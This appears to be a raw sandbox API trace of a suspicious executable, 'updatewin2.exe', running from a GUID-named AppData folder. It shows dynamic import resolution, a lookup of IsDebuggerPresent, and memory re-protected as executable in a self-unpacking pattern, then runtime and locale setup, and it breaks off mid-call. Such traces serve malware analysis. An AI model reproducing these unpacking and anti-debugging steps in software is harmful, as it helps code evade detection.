GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0048.425] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0048.425] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0048.425] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0048.425] SetErrorMode (uMode=0x400) returned 0x0 [0048.425] SetErrorMode (uMode=0x0) returned 0x400 [0048.426] GetVersionExA (in: lpVersionInformation=0x18e568*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e568*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0048.426] VirtualAlloc (lpAddress=0x0, dwSize=0x2d800, flAllocationType=0x1000, flProtect=0x4) returned 0x220000 [0048.428] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5f0 | out: lpflOldProtect=0x18f5f0*=0x2) returned 1 [0048.493] VirtualFree (lpAddress=0x220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0048.494] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0048.494] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0048.494] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSize") returned 0x76c3196e [0048.494] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0048.494] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0048.494] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0048.494] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0048.494] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0048.494] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0048.494] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0048.494] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0048.494] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0048.495] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0048.495] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0048.495] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0048.495] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0048.495] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0048.495] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0048.495] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0048.495] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0048.495] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0048.495] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0048.495] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0048.495] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0048.495] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0048.495] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0048.495] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0048.496] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0048.496] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0048.496] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0048.496] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0048.496] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0048.496] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0048.496] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0048.496] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0048.496] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0048.496] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0048.496] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0048.496] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0048.496] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0048.496] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0048.496] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0048.497] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0048.498] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0048.498] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0048.498] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0048.498] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0048.498] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0048.498] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0048.498] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0048.498] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0048.498] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0048.498] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0048.498] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxA") returned 0x74fafd1e [0048.498] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0048.498] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0048.498] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0048.498] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0048.499] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749b0000 [0048.501] GetProcAddress (hModule=0x749b0000, lpProcName="atexit") returned 0x749cc544 [0048.501] atexit (param_1=0x5d63d8) returned 0 [0048.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5f4 | out: lpSystemTimeAsFileTime=0x18f5f4*(dwLowDateTime=0xe031470, dwHighDateTime=0x1d53559)) [0048.502] GetCurrentThreadId () returned 0x5d0 [0048.502] GetCurrentProcessId () returned 0x78c [0048.502] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5ec | out: lpPerformanceCount=0x18f5ec*=16876507701) returned 1 [0048.509] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0048.509] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0048.509] GetLastError () returned 0x57 [0048.509] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0048.509] GetLastError () returned 0x57 [0048.509] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0048.509] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0048.509] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0048.509] GetLastError () returned 0x57 [0048.510] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0048.510] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0048.510] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0048.510] GetLastError () returned 0x57 [0048.510] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0048.510] GetLastError () returned 0x57 [0048.510] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0048.510] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0048.510] GetProcessHeap () returned 0x5c0000 [0048.510] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0048.510] GetLastError () returned 0x57 [0048.510] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0048.510] GetLastError () returned 0x57 [0048.510] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0048.511] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0048.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x364) returned 0x5ead00 [0048.511] SetLastError (dwErrCode=0x57) [0048.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xc00) returned 0x5eb070 [0048.512] GetStartupInfoW (in: lpStartupInfo=0x18f528 | out: lpStartupInfo=0x18f528*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033e0, hStdOutput=0xe2649f4f, hStdError=0xfffffffe)) [0048.512] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0048.512] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0048.512] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0048.512] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe\" " [0048.512] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe\" " [0048.512] GetACP () returned 0x4e4 [0048.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x220) returned 0x5ea1c0 [0048.512] IsValidCodePage (CodePage=0x4e4) returned 1 [0048.512] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f548 | out: lpCPInfo=0x18f548) returned 1 [0048.512] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ee10 | out: lpCPInfo=0x18ee10) returned 1 [0048.512] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0048.512] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eba8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0048.513] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpCharType=0x18ee24 | out: lpCharType=0x18ee24) returned 1 [0048.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0048.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eb58, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0048.513] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0048.513] GetLastError () returned 0x57 [0048.513] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0048.513] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0048.513] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e948, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0048.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f324, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x97\x31\x3d\xe2\x60\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0048.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0048.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eb78, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0048.513] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0048.513] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x18e968, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0048.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f224, cbMultiByte=256, lpDefaultChar=0x0, 